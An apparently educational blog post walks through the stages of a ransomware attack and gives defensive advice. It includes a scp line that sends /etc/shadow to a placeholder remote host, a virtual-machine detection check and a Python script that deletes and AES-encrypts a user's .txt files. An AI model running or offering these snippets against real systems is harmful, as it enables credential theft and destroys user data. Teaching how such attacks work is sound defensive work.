Do not click, it's ransomware!
Tags: cybersecurity, go, python, ransomware
Published: 2023-12-14 04:11:28

Ransomware is a category of malicious software designed for data 'kidnapping' with the intent of extortion. Throughout history, various ransomwares have been constructed and gained notoriety, both for the magnitude of their impact and the nature of their victims. In this post, we'll explore a high-level step-by-step overview of the ransomware lifecycle.

At first, like many types of malicious code, early prototypes of ransomware trace their origins back to the late 1980s and targeted small volumes of devices. With the evolution of the internet and the shift in malware's purpose from solely destructive to a commercial phase, the levels of techniques used, along with the scale of their infected targets, have grown alarmingly. As of 2023, the average cost of a ransomware attack is approximately $1.85 million. Following this, we will delve into the step-by-step process of a ransomware attack to enhance our understanding and revisit some key security concepts, allowing for better protection.


## Sumary



- Deployment: The initial stage where the attacker infiltrates the target system.

- Installation: The process by which the ransomware establishes persistence on the compromised machine.

- Control: Managing the ransomware's activities and maintaining access to the system.

- Encryption: Executing the encryption process on the victim's files, rendering them inaccessible.

- Extortion: The final stage where the attacker demands a ransom for decrypting the files and restoring access to the victim.



## Deployment

The first step in a ransomware attack is the deployment of malicious code on target machines. This deployment can occur in various ways, such as:

* **Drive-by download:** Typically, users unknowingly download ransomware through a Trojan, often via cracked programs or pirated files.

* **Phishing:** Fake emails or SMS containing malicious redirect links.

Let's consider a scenario where you receive an email with the message "A suspicious purchase of $100 has been made on your credit card, click the following link to dispute. [fake link](www.google.com)". If you execute this code in **Golang**, you'll see how straightforward it is to create an automatic download based on the user's request.

```
package main

import (
	"fmt"
	"net/http"
)

func main() {
	//
	http.HandleFunc("/download", func(w http.ResponseWriter, r *http.Request) {
		fileName := "example.txt"

		w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", fileName))
		w.Header().Set("Content-Type", "application/octet-stream")

		fileContent := []byte("File content.")

		w.Write(fileContent)
	})

	fmt.Println("Server http://localhost:8080 on!")
	http.ListenAndServe(":8080", nil)
}

```

However, as nothing is perfect, it is possible to protect yourself from these forms of infection through known virtualization techniques. You could employ a technique known as *edge sandboxing*, where the where commonly the browser itself provides a virtual environment for file execution, allowing for the detection of malicious behaviors. However, this method may become limited, as resource consumption is a concern, and malware can easily detect if it is running in a virtual environment by checking the files present in that environment as the code below shows. 

```
#include <stdio.h>
#include <string.h>

int main() {
    FILE *fp;
    char buffer[128];
    int isVirtualMachine = 0;

    if ((fp = fopen("/sys/class/dmi/id/product_name", "r"))) {
        fgets(buffer, sizeof(buffer), fp);
        if (strstr(buffer, "Virtual") != NULL || strstr(buffer, "VMware") != NULL) {
            isVirtualMachine = 1;
        }
        fclose(fp);
    }

    if (isVirtualMachine) {
        printf("Look like a virtual machine.\n");
    } else {
        printf("It doesn't look like a virtual machine.\n");
    }

    return 0;
}

```
**hint:** To execute this code just run in your terminal:
`gcc -o executable_name file_name.c`

To overcome this issue, there is also the technique of bare-metal detonation, where a real physical machine acts as an intermediary between the server and the client, running files and code in isolation before sending them to the end client. This way, malicious encryption actions are easily detected and contained.

## Instalation

Once the malicious initial payload has been inserted into the target, it will attempt a series of procedures such as trying to communicate with its creator, checking if it is running on a virtual machine, self-installing, downloading missing parts of code, searching for vulnerabilities, and other actions.

Considering that the target machine is deemed valuable for infection, the ransomware can initiate a series of self-defense and damage assurance processes. These processes may include:

* Theft of private keys
* Disabling recovery and backup systems
* Inserting its keys into the Registry (Windows) to ensure its startup along with the OS bootloader.

The primary defense against this stage involves monitoring the machine. Utilizing *inotify* alerts on Linux and *Windows Defender* on Windows, users can observe crucial signs that may indicate compromise. It is also essential to periodically check if backup and recovery systems are generating system snapshots as expected. Measures like these ensure that recovery mechanisms are consistently operational, enabling the restoration of stolen information even in worst-case scenarios where the system compromise is total.

## Controll

Although it's not a rule, most malware generally tries to establish communication with its creator, whether through HTTP requests, network sockets, or more complex services like TOR. This kind of practice offers various advantages to the attacker, such as mapping the target, selecting specific files or servers, and even assessing the target's value. Therefore, when a machine is infected, the ransomware doesn't necessarily start its encryption process right away, but it might well remain dormant until it receives some instruction from the attacker.

The remote control process of malware can work in many different ways, but once infected, the target machine needs to be very careful with its next steps. For example, imagine that you downloaded a pirated game or an unofficial library of a programming language. By running any script from the library or the game, you might be starting a script for creating an account and connecting to SSH servers, for example:

```
#!/bin/bash

# creating a new user
sudo adduser cript << EOF
[password]
[password]
[name]
[number1]
[number2]
[number3]
[others]
Y
EOF

```
or another script like this:

```
sudo scp /etc/shadow test@ipaddress-remote:/path/dst/
```

This second script copies the file of users and passwords from a Linux machine and sends it to the attacker. Although the passwords are encrypted, if the password is weak, it can be easily deciphered through hash databases or common cryptology techniques. As you can see, a machine infected with malicious code can become the target of various types of attacks or data theft.


## Encryption

Once the attacker establishes a connection and sets the encryption key, the data hijacking process begins. With it, files of any format are lost, be they .GIF, .xml, .png, executables, Microsoft Office files, and any others. In the example below, we are using a Python script to encrypt all files in the Home directory recursively that are in the .txt format.

As you can see, this script has 4 steps:

* List the files and read their content.
* Remove the original file.
* Encrypt the content of the files.
* Save the encrypted content in a **.ransomcrypter** file.
```

#! /usr/bin/env python

import os
import glob
import pyaes
import pathlib

target_files = ["*.txt"]
try:
    desktop = pathlib.Path.home()
except Exception:
    pass

def encrypt():
    
    for files in target_files:
        for format_file in glob.glob(files):
            f = open(f'{desktop}\\{format_file}', 'rb')
            file_data = f.read()
            f.close()

            os.remove(f'{desktop}\\{format_file}')
            encrypt_key = b"somerandomkeylol"
            aes = pyaes.AESModeOfOperationCTR(encrypt_key)
            data_encrypted = aes.encrypt(file_data)

            encrypt_file = format_file + ".ransomcrypter"
            encrypt_file = open(f'{desktop}\\{encrypt_file}', 'wb')
            encrypt_file.write(data_encrypted)
            encrypt_file.close()

if __name__ == "__main__":
    encrypt()
```

Currently, there are various types of encryption methods available for data ransom, but most ransomware attacks rely on symmetric and asymmetric keys, each of them having advantages and disadvantages compared to others.

**hint:** In some cases, there are ransomware strains that employ both types of encryption, thereby surpassing limitations of each method.


### Symmetric keys

Malwares that use symmetric keys often generate them through information from the target device itself. Encryption with this type of key offers several advantages to the attacker because it is a simple and effective system. By using a symmetric key, the attacker ensures low resource usage on the machine, avoiding detection by monitoring systems and increasing encryption speed. Another common benefit of this type of key is that, since each key is generated from information on the target machine, each target has a different encryption key, which allows for better observability by the attacker. This helps them determine which attacks were successful or not.

However, not everything that glitters is gold; this method of attack has a vulnerability that can be fatal for the attacker. By using a key generated by the target machine itself, the user can recover this key by accessing the computer's volatile memory. When accessing the memory device, simply look for clues such as messages, keys, and other hints about the encryption key. That's why ransomware solely relying on symmetric keys is becoming less popular.

### Asymmetric keys

Asymmetric keys are based on pairs of public and private keys. If information is encrypted with the public key, it can only be decrypted with the private key, and vice versa. When a private key encrypts a file, only its corresponding public key can decrypt it.

By using a public key for encryption, the attacker eliminates the success of any forensic memory analysis attempts, leaving the target with options such as searching for vulnerabilities in the encryption algorithm, conducting brute force tests, paying the attacker, or being prepared for the situation through system backups.

In this case of keys, the attacker uses their public key to encrypt the target's data. The key is accessed by the malware in two ways.

* **Embedded key:** The encryption key is stored in the machine's memory, and the process can occur while the computer is online or offline.

* **Downloaded key:** In this case, the key is downloaded from the attacker's server whenever the computer is online.

**hint:** At another time, we will talk more about cryptography.

The biggest advantage of this method is that asymmetric keys have very large sizes (2048 bits or greater), which makes a brute-force attack infeasible.

**hint:** A common practice in more modern ransomware is the use of both encryption methods.

Indeed, ransomware can take advantage of the efficiency of symmetric keys and the security of asymmetric keys during the same attack. To do this, it could use the symmetric key to encrypt files. Once the encryption of the target is completed, the symmetric key is encrypted with a public key (asymmetric key), making it inaccessible to the victim. This way, the ransom is demanded in exchange for access to the attacker's private key, which then enables access to the encryption key used for the files.
## Extortion

After the kidnapping is complete, whether of all data or important files, the extortion phase begins. Often, it is only during this phase that the target realizes they have fallen victim to a digital scam. Typically, this phase is straightforward and simply informs the target that their data has been stolen and that they need to send some payment to a virtual address, usually in some cryptocurrency.


"Should I pay the attacker?" The answer is always depends, usually the amount charged for common targets is lower than the amount that would be spent on data recovery. There is also the factor of the importance of the kidnapped data. "Are these data I can live without?" Each situation requires a specific assessment to decide which measures should be taken. However, there are suggestions in case you ever find yourself in this situation:

* Disconnect the machine from any network.
* Contact the local police.
* Do not accept communications from anonymous sources or the attacker without first receiving legal guidance on the issue.



[You can see this repository and others by clicking this link](https://github.com/AlissonDuarte/RansomwareScripts)